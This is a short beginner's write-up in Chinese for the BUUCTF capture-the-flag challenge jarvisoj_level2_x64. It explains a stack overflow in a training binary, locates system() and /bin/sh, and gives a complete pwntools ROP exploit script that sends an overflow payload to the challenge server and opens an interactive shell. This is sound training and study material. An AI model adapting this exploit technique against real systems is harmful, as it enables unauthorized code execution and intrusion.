BUUCTF jarvisoj_level2_x64

小白做题笔记,不建议阅读。

这道题还好吧。

绕过NX

BUUCTF jarvisoj_level2_x64_第1张图片

 

main

函数直接调用漏洞函数

 

BUUCTF jarvisoj_level2_x64_第2张图片

BUUCTF jarvisoj_level2_x64_第3张图片

 这里有溢出

(ida   shift+f12)

我们尝试找下bin/sh

BUUCTF jarvisoj_level2_x64_第4张图片 

 0000000000600A90 /bin/sh

system函数的地址也可以看

00000000004004C0

exp

 因为有栈对齐所以需要ret,因为是64位传参所以需要pop rdi

from pwn import *

debug=0
if debug:
    p=process('./level2_x64')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    #gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',28449)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)
system_add=0x00000000004004C0
bin_sh_add=0x0000000000600A90 
pop_rdi=0x00000000004006b3 

#ROPgadget --binary ./level2_x64 --only "ret"
#Gadgets information
#============================================================
#0x00000000004004a1 : ret
ret_add=0x00000000004004a1 
payload=b'b'*0x80+b'b'*8+p64(ret_add)+ p64(pop_rdi)+p64(bin_sh_add)+p64(system_add)
ru(b'Input:\n')
se(payload)

p.interactive()

#ROPgadget --binary  --only "pop|ret" | grep "pop rdi"

你可能感兴趣的:(BUUCTF,安全)